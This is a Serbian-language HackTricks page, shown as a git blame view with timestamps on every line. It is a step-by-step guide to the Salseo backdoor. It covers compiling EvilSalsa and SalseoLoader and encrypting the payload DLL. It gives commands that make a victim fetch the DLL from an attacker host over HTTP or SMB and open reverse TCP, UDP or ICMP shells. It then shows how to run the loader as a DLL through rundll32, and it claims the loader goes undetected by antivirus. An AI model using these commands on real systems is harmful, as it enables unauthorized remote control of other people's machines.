2022-08-04 20:47:35 +00:00
# Salseo
2022-04-28 16:01:33 +00:00
2024-07-18 17:42:29 +00:00
{% hint style="success" %}
Naučite i vežbajte hakovanje AWS:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Obuka AWS Crveni Tim Stručnjak (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Naučite i vežbajte hakovanje GCP: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Obuka GCP Crveni Tim Stručnjak (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 17:42:29 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 17:42:29 +00:00
< summary > Podržite HackTricks< / summary >
2023-12-30 10:12:47 +00:00
2024-07-18 17:42:29 +00:00
* Proverite [**planove pretplate** ](https://github.com/sponsors/carlospolop )!
2024-03-17 16:33:13 +00:00
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-07-18 17:42:29 +00:00
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 17:42:29 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
## Kompajliranje binarnih fajlova
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:05 +00:00
Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader** . Trebaće vam **Visual Studio** instaliran da biste kompajlirali kod.
2020-07-15 15:43:14 +00:00
2024-07-18 17:42:29 +00:00
Kompajlirajte ove projekte za arhitekturu Windows sistema na kojem ćete ih koristiti (ako Windows podržava x64, kompajlirajte ih za tu arhitekturu).
2020-07-15 15:43:14 +00:00
2024-07-18 17:42:29 +00:00
Možete **izabrati arhitekturu** unutar Visual Studio u **levom "Build" Tab-u** u ** "Platform Target".**
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:05 +00:00
(\*\*Ako ne možete pronaći ove opcije, pritisnite na ** "Project Tab"** a zatim na ** "\<Project Name> Properties"**)
2020-07-15 15:43:14 +00:00
2022-08-10 14:32:58 +00:00
![](< .. / . gitbook / assets / image ( 132 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Zatim, izgradite oba projekta (Build -> Build Solution) (Unutar logova će se pojaviti putanja izvršnog fajla):
2020-07-15 15:43:14 +00:00
2022-09-27 00:14:52 +00:00
![](< .. / . gitbook / assets / image ( 1 ) ( 2 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-07-18 17:42:29 +00:00
## Priprema zadnjih vrata
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:05 +00:00
Prvo, trebaće vam da enkodujete **EvilSalsa.dll.** Da biste to uradili, možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly** :
2020-07-15 15:43:14 +00:00
2022-08-04 20:47:35 +00:00
### **Python**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
python EncrypterAssembly/encrypterassembly.py < FILE > < PASSWORD > < OUTPUT_FILE >
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
2022-08-04 20:47:35 +00:00
### Windows
2021-10-18 11:21:18 +00:00
```
2024-02-10 13:11:20 +00:00
EncrypterAssembly.exe < FILE > < PASSWORD > < OUTPUT_FILE >
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
2020-07-15 15:43:14 +00:00
```
2024-03-17 16:33:13 +00:00
Sada imate sve što vam je potrebno da izvršite ceo Salseo postupak: **enkodirani EvilDalsa.dll** i **binarni fajl SalseoLoader.**
2024-02-10 13:11:20 +00:00
2024-03-17 16:33:13 +00:00
**Otpremite binarni fajl SalseoLoader.exe na mašinu. Ne bi trebalo da budu otkriveni od strane bilo kog AV...**
2024-02-10 13:11:20 +00:00
## **Izvršite backdoor**
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
### **Dobijanje TCP reverznog shell-a (preuzimanje enkodiranog dll-a putem HTTP-a)**
2024-02-10 13:11:20 +00:00
2024-07-18 17:42:29 +00:00
Zapamtite da pokrenete nc kao osluškivač reverznog shella i HTTP server kako biste poslužili enkodirani evilsalsa.
2024-02-10 13:11:20 +00:00
```
SalseoLoader.exe password http://< Attacker-IP > /evilsalsa.dll.txt reversetcp < Attacker-IP > < Port >
```
2024-07-18 17:42:29 +00:00
### **Dobijanje UDP reverse shell-a (preuzimanje enkodovanog dll-a preko SMB-a)**
2020-07-15 15:43:14 +00:00
2024-07-18 17:42:29 +00:00
Zapamtite da pokrenete nc kao osluškivač reverse shell-a, i SMB server da posluži enkodovani evilsalsa (impacket-smbserver).
2024-02-10 13:11:20 +00:00
```
SalseoLoader.exe password \\< Attacker-IP > /folder/evilsalsa.dll.txt reverseudp < Attacker-IP > < Port >
```
2024-07-18 17:42:29 +00:00
### **Dobijanje ICMP reverznog šela (enkodirani dll već unutar žrtve)**
2020-07-15 15:43:14 +00:00
2024-07-18 17:42:29 +00:00
**Ovog puta vam je potreban poseban alat na klijentu da primi reverzni šel. Preuzmite:** [**https://github.com/inquisb/icmpsh** ](https://github.com/inquisb/icmpsh )
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
#### **Onemogućavanje ICMP odgovora:**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
2024-02-10 13:11:20 +00:00
#### Izvršite klijenta:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
python icmpsh_m.py "< Attacker-IP > " "< Victm-IP > "
```
2024-02-10 13:11:20 +00:00
#### Unutar žrtve, izvršimo salseo stvar:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp < Attacker-IP >
```
2024-03-17 16:33:13 +00:00
## Kompajliranje SalseoLoader-a kao DLL izvođenjem glavne funkcije
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Otvorite projekat SalseoLoader koristeći Visual Studio.
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
### Dodajte pre glavne funkcije: \[DllExport]
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:05 +00:00
![](< .. / . gitbook / assets / image ( 2 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### Instalirajte DllExport za ovaj projekat
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
#### **Alati** --> **NuGet Package Manager** --> **Upravljanje NuGet paketima za rešenje...**
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:05 +00:00
![](< .. / . gitbook / assets / image ( 3 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:05 +00:00
#### **Pretražite DllExport paket (koristeći karticu Pretraži) i pritisnite Instaliraj (i prihvatite iskačući prozor)**
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
![](< .. / . gitbook / assets / image ( 4 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-07-18 17:42:29 +00:00
U vašem projekt folderu pojaviće se fajlovi: **DllExport.bat** i **DllExport\_Configure.bat**
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
### **De**instalirajte DllExport
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:05 +00:00
Pritisnite **Deinstaliraj** (da, čudno je, ali verujte mi, neophodno je)
2020-07-15 15:43:14 +00:00
2023-06-14 10:51:55 +00:00
![](< .. / . gitbook / assets / image ( 5 ) ( 1 ) ( 1 ) ( 2 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### **Izađite iz Visual Studio-a i izvršite DllExport\_configure**
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Jednostavno **izađite** iz Visual Studio-a
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Zatim, idite u vaš **SalseoLoader folder** i **izvršite DllExport\_Configure.bat**
2020-07-15 15:43:14 +00:00
2024-07-18 17:42:29 +00:00
Izaberite **x64** (ako ćete ga koristiti unutar x64 okruženja, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport** ) i pritisnite **Primeni**
2020-07-15 15:43:14 +00:00
2023-12-27 23:58:16 +00:00
![](< .. / . gitbook / assets / image ( 7 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### **Otvorite projekat ponovo sa Visual Studio-om**
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
**\[DllExport]** više ne bi trebalo da bude označen kao greška
2020-07-15 15:43:14 +00:00
2023-06-13 10:12:02 +00:00
![](< .. / . gitbook / assets / image ( 8 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### Izgradite rešenje
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Izaberite **Tip izlaza = Biblioteka klasa** (Projekat --> SalseoLoader Properties --> Application --> Tip izlaza = Biblioteka klasa)
2020-07-15 15:43:14 +00:00
2022-10-22 15:26:54 +00:00
![](< .. / . gitbook / assets / image ( 10 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Izaberite **x64 platformu** (Projekat --> SalseoLoader Properties --> Build --> Ciljna platforma = x64)
2020-07-15 15:43:14 +00:00
2022-09-02 15:27:38 +00:00
![](< .. / . gitbook / assets / image ( 9 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Da biste **izgradili** rešenje: Build --> Izgradi rešenje (Unutar konzole za izlaz pojaviće se putanja nove DLL datoteke)
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### Testirajte generisanu Dll
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Kopirajte i nalepite Dll gde želite da je testirate.
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Izvršite:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
rundll32.exe SalseoLoader.dll,main
```
2024-03-17 16:33:13 +00:00
Ako se ne pojavi greška, verovatno imate funkcionalnu DLL!!
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
## Dobijanje shell-a korišćenjem DLL-a
2020-07-15 15:43:14 +00:00
2024-07-18 17:42:29 +00:00
Ne zaboravite da koristite **HTTP** **server** i postavite **nc** **listener**
2020-07-15 15:43:14 +00:00
2022-08-04 20:47:35 +00:00
### Powershell
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
2022-08-04 20:47:35 +00:00
### CMD
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
2024-07-18 17:42:29 +00:00
{% hint style="success" %}
Učite i vežbajte hakovanje AWS-a: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Učite i vežbajte hakovanje GCP-a: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 17:42:29 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 17:42:29 +00:00
< summary > Podržite HackTricks< / summary >
2023-12-30 10:12:47 +00:00
2024-07-18 17:42:29 +00:00
* Proverite [**planove pretplate** ](https://github.com/sponsors/carlospolop )!
2024-03-17 16:33:13 +00:00
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-07-18 17:42:29 +00:00
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 17:42:29 +00:00
{% endhint %}